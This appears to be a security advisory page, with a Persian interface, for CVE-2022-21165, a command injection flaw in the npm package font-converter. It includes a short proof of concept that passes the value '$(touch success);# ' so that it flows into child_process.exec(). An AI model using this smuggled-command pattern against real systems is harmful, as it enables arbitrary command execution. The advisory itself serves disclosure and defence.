همهٔ گزارش‌ها
بحرانی

Font-Converter Vulnerable to Arbitrary Command Injection

متن اصلی

نسخه‌های متأثر

نسخه‌های متأثر
<= 1.1.1
نسخهٔ اصلاح‌شده
اعلام نشده

بهره‌برداری

CVE-2022-21165

احتمال بهره‌برداری در ۳۰ روز آینده: 3.16%

FIRST EPSS · ۱۴۰۵/۰۸/۲۹

شرح آسیب‌پذیری

Overview

font-converter is a FontForge wrapper that allows conversion between different font formats (TTF, WOFF, OTF)

All versions of this package are vulnerable to Arbitrary Command Injection due to missing sanitization of input that potentially flows into the child_process.exec() function.

PoC
var PUT = require('font-converter');
var x = "$(touch success);# ";
try {
    new PUT(x, x, x, x);
} catch (e) {
    console.log(e);
}

پیوندها